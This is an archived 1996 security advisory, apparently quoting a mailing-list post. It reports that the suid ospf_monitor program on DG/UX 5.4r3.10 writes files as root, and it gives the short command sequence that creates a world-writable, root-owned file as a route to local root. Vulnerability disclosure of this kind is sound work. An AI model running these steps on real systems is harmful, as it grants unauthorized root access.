DG/UX ospf_monitor vulnerability
| Description: | It is suid and contains a command to write to file, which it does w/o dropping privileges. Brilliant. |
| Author: | Brian Mitchell (brian@saturn.net) |
| Compromise: | root (local) |
| Vulnerable Systems: | Tested on DG/UX 5.4r3.10 |
| Date: | 23 July 1996 |
Exploit:
From: Brian Mitchell (brian@saturn.net)
Date: Tue, 23 Jul 1996 19:03:07 -0400
There seems to be a vulnerbility in dg/ux (tested in 5.4r3.10) - it
includes ospf_monitor (from the gated package). Unfortunately, it is a
older version and has a security hole.
It is a suid program, and has a command to write to a file, so something
like this:
umask 0
ospf_monitor
F /tmp/foo
x
This should create a 0 byte world writable file called /tmp/foo, assuming
/tmp/foo does not exist. If it exists, it will be truncated, permissions
obviously will not be modified.
Brian Mitchell brian@saturn.net
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